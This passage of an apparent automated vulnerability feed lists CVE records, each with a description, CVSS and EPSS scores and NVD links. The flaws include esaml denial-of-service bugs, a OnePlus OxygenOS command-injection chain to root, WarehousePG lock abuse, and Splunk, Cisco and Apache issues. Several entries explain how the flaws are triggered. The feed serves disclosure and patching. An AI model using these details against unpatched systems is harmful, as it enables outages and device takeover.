NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104948&date=2026-10-25
WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions gp_expand_lock_catalog() and gp_expand_bump_version(). Any authenticated database role can run them, and neither checks privileges. A low-privileged user can call gp_expand_lock_catalog() inside an open transaction to block all catalog changes across the cluster for every user, superusers included, until that transaction ends, which in practice requires a superuser to terminate the session. Blocked changes include DDL, temporary table creation, GRANT and CREATE ROLE. The same user can call gp_expand_bump_version() repeatedly. Each call disconnects sessions that hold temporary tables, with a FATAL error on their next catalog change, and makes every other session rebuild its segment connections.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and...
https://kevwire.com/record/CVE-2026-105270
Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and... (Oct 22, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via a crafted SAMLResponse.

esaml_binding:decode_response/2 parses the decoded SAMLResponse with xmerl_scan:string/2, which interns every element name, attribute name, and namespace prefix it reads as a permanent atom. The SAML consume (ACS) and single-logout endpoints call it on unauthenticated requests before any signature check, so one well-formed document with thousands of distinct names mints thousands of atoms while staying inside the 128 KB request body limit. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so a few dozen requests abort the node.

This issue affects esaml: from 0.1.0 onward.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105270).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105270&date=2026-10-25).
Sources:
NVD CVE-2026-105270: https://nvd.nist.gov/vuln/detail/CVE-2026-105270
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105270&date=2026-10-25
Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via a crafted SAMLResponse.

esaml_binding:decode_response/2 parses the decoded SAMLResponse with xmerl_scan:string/2, which interns every element name, attribute name, and namespace prefix it reads as a permanent atom. The SAML consume (ACS) and single-logout endpoints call it on unauthenticated requests before any signature check, so one well-formed document with thousands of distinct names mints thousands of atoms while staying inside the 128 KB request body limit. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so a few dozen requests abort the node.

This issue affects esaml: from 0.1.0 onward.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android.
https://kevwire.com/record/CVE-2026-70386
Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android. (Oct 21, 2026).
Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android. Any locally installed Android application, with no permissions declared 
and no user interaction beyond launching it, can execute arbitrary shell
 commands as uid 0 in the u:r:dumpstate:s0 SELinux domain. Two defects 
combine: (a) OnePlus's atlasservice binder interface accepts 
setEvent(String8 name, String8 value) from any caller without 
authorization, and (b) one event handler 
(OplusAtlasLogWriter::handleEvent, matching event name 
atlas_event_multimedia_audio_dumpsys) copies the caller-supplied value 
into the system property oplus.audio.dumpinfo.type and starts the root 
init service audiodumpinfo, which passes that property value unsanitized
 to system(). This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.
CVSS 8.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70386).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70386&date=2026-10-25).
Sources:
NVD CVE-2026-70386: https://nvd.nist.gov/vuln/detail/CVE-2026-70386
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70386&date=2026-10-25
Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android. Any locally installed Android application, with no permissions declared 
and no user interaction beyond launching it, can execute arbitrary shell
 commands as uid 0 in the u:r:dumpstate:s0 SELinux domain. Two defects 
combine: (a) OnePlus's atlasservice binder interface accepts 
setEvent(String8 name, String8 value) from any caller without 
authorization, and (b) one event handler 
(OplusAtlasLogWriter::handleEvent, matching event name 
atlas_event_multimedia_audio_dumpsys) copies the caller-supplied value 
into the system property oplus.audio.dumpinfo.type and starts the root 
init service audiodumpinfo, which passes that property value unsanitized
 to system(). This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android.
https://kevwire.com/record/CVE-2026-70387
Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android. (Oct 21, 2026).
Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android. The olc2 logging HAL exposes a binder method that fork()'s and calls execl("/vendor/bin/sh", "sh", "-c", cmd, NULL) with a caller-supplied command string. The only authorization check is getCallingUid() == 0. Because SELinux policy grants binder access to this HAL to a wide client attribute, any uid-0 process in any of those domains (including dumpstate, which is reachable from an unprivileged app via Vulnerability 1) obtains arbitrary command execution. The spawned shell lands in u:r:vendor_qti_init_shell:s0 SELinux context via a policy type_transition, a domain holding all Linux capabilities. This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.
CVSS 8.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70387).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70387&date=2026-10-25).
Sources:
NVD CVE-2026-70387: https://nvd.nist.gov/vuln/detail/CVE-2026-70387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70387&date=2026-10-25
Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android. The olc2 logging HAL exposes a binder method that fork()'s and calls execl("/vendor/bin/sh", "sh", "-c", cmd, NULL) with a caller-supplied command string. The only authorization check is getCallingUid() == 0. Because SELinux policy grants binder access to this HAL to a wide client attribute, any uid-0 process in any of those domains (including dumpstate, which is reachable from an unprivileged app via Vulnerability 1) obtains arbitrary command execution. The spawned shell lands in u:r:vendor_qti_init_shell:s0 SELinux context via a policy type_transition, a domain holding all Linux capabilities. This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the...
https://kevwire.com/record/CVE-2026-86696
Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the... (Oct 22, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via unsigned LogoutResponse messages.

esaml:status_code_map/1 in src/esaml.erl maps any StatusCode value it does not recognize to an atom with list_to_atom/1 on the last colon-separated segment of the URN. esaml_sp:validate_logout_response/2 verifies a signature only when the message carries one, so an unsigned LogoutResponse posted to the single-logout endpoint reaches esaml:decode_logout_response/1 and mints one permanent atom per distinct status value. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so an attacker who posts that many distinct values aborts the node.

This issue affects esaml: from 0.1.0 onward.
CVSS 8.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86696).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86696&date=2026-10-25).
Sources:
NVD CVE-2026-86696: https://nvd.nist.gov/vuln/detail/CVE-2026-86696
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86696&date=2026-10-25
Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via unsigned LogoutResponse messages.

esaml:status_code_map/1 in src/esaml.erl maps any StatusCode value it does not recognize to an atom with list_to_atom/1 on the last colon-separated segment of the URN. esaml_sp:validate_logout_response/2 verifies a signature only when the message carries one, so an unsigned LogoutResponse posted to the single-logout endpoint reaches esaml:decode_logout_response/1 and mints one permanent atom per distinct status value. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so an attacker who posts that many distinct values aborts the node.

This issue affects esaml: from 0.1.0 onward.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang...
https://kevwire.com/record/CVE-2026-93471
Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang... (Oct 22, 2026).
Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang VM via a crafted compressed SAMLResponse.

esaml_binding:decode_response/2 base64-decodes the attacker-supplied SAMLResponse, inflates it with zlib:unzip/1 with no bound on the output, then converts the result to a charlist with binary_to_list/1 before parsing. This runs on the SAML consume (ACS) and single-logout endpoints, which accept unauthenticated requests by design, and it runs before any signature check. A small deflate stream reaches a compression ratio near 1000 to 1, so a request body of tens of kilobytes inflates to hundreds of megabytes and then to several gigabytes of list heap, so a few requests exhaust memory and take the node down.

This issue affects esaml: from 0.1.0 onward.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93471).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93471&date=2026-10-25).
Sources:
NVD CVE-2026-93471: https://nvd.nist.gov/vuln/detail/CVE-2026-93471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93471&date=2026-10-25
Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang VM via a crafted compressed SAMLResponse.

esaml_binding:decode_response/2 base64-decodes the attacker-supplied SAMLResponse, inflates it with zlib:unzip/1 with no bound on the output, then converts the result to a charlist with binary_to_list/1 before parsing. This runs on the SAML consume (ACS) and single-logout endpoints, which accept unauthenticated requests by design, and it runs before any signature check. A small deflate stream reaches a compression ratio near 1000 to 1, so a request body of tens of kilobytes inflates to hundreds of megabytes and then to several gigabytes of list heap, so a few requests exhaust memory and take the node down.

This issue affects esaml: from 0.1.0 onward.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint...
https://kevwire.com/record/CVE-2026-76288
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint... (Oct 21, 2026).
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint and cause Splunk Web to stop responding to requests. Splunk Web remains unavailable until Splunk Enterprise is restarted.
The vulnerability is possible because Splunk Web does not limit request-header parsing before processing the request.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76288).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76288&date=2026-10-25).
Sources:
NVD CVE-2026-76288: https://nvd.nist.gov/vuln/detail/CVE-2026-76288
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76288&date=2026-10-25
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint and cause Splunk Web to stop responding to requests. Splunk Web remains unavailable until Splunk Enterprise is restarted.
The vulnerability is possible because Splunk Web does not limit request-header parsing before processing the request.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk...
https://kevwire.com/record/CVE-2026-76290
In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk... (Oct 21, 2026).
In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding.
The vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request.
After upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76290).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76290&date=2026-10-25).
Sources:
NVD CVE-2026-76290: https://nvd.nist.gov/vuln/detail/CVE-2026-76290
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76290&date=2026-10-25
In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding.
The vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request.
After upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76299
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76299 are related to improper access control and are grouped under the Common Weakness Enumeration (CWE) CWE-284.
CVSS 9.9 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76299).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76299&date=2026-10-25).
Sources:
NVD CVE-2026-76299: https://nvd.nist.gov/vuln/detail/CVE-2026-76299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76299&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76299 are related to improper access control and are grouped under the Common Weakness Enumeration (CWE) CWE-284.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76302
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76302 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.
CVSS 9.9 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76302).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76302&date=2026-10-25).
Sources:
NVD CVE-2026-76302: https://nvd.nist.gov/vuln/detail/CVE-2026-76302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76302&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76302 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk SOAR versions below 8.7.0, a user that has the "Observer" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and...
https://kevwire.com/record/CVE-2026-76306
In Splunk SOAR versions below 8.7.0, a user that has the "Observer" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and... (Oct 21, 2026).
In Splunk SOAR versions below 8.7.0, a user that has the "Observer" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users.
The information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing.
For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76306).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76306&date=2026-10-25).
Sources:
NVD CVE-2026-76306: https://nvd.nist.gov/vuln/detail/CVE-2026-76306
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76306&date=2026-10-25
In Splunk SOAR versions below 8.7.0, a user that has the "Observer" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users.
The information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing.
For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76530
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76530 are related to use of non-canonical URL paths for authorization decisions and are grouped under the Common Weakness Enumeration (CWE) CWE-647.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76530).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76530&date=2026-10-25).
Sources:
NVD CVE-2026-76530: https://nvd.nist.gov/vuln/detail/CVE-2026-76530
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76530&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76530 are related to use of non-canonical URL paths for authorization decisions and are grouped under the Common Weakness Enumeration (CWE) CWE-647.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.
https://kevwire.com/record/CVE-2026-76531
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76531 are related to files or directories accessible to external parties and are grouped under the Common Weakness Enumeration (CWE) CWE-552.
CVSS 9.9 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76531).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76531&date=2026-10-25).
Sources:
NVD CVE-2026-76531: https://nvd.nist.gov/vuln/detail/CVE-2026-76531
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76531&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76531 are related to files or directories accessible to external parties and are grouped under the Common Weakness Enumeration (CWE) CWE-552.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.
https://kevwire.com/record/CVE-2026-111809
Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding. (Oct 21, 2026).
Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 6.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111809).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111809&date=2026-10-25).
Sources:
NVD CVE-2026-111809: https://nvd.nist.gov/vuln/detail/CVE-2026-111809
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111809&date=2026-10-25
Apache Traffic Server allows request smuggling via HEAD requests that carry Content-Length or Transfer-Encoding.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a...
https://kevwire.com/record/CVE-2026-56386
Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a... (Oct 21, 2026).
Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a malformed DATA frame with the PADDED flag set and a zero-length payload.

Root Cause:
The HTTP/2 DATA frame handler computed the fragment size from the attacker-controlled payload length and, when the PADDED flag was present, decremented the fragment size before ensuring that the frame contained the mandatory pad length byte. A zero-length padded DATA frame could therefore underflow the unsigned fragment size and read the pad length byte past the end of the frame buffer.

Affected Scenarios:
Apache bRPC servers that accept HTTP/2 traffic are affected when a remote client can send crafted HTTP/2 frames to the server. HTTP/2 may be reached through cleartext h2c detection on an HTTP port or through TLS ALPN negotiation.

How to Fix:
(Choose one of the following options)
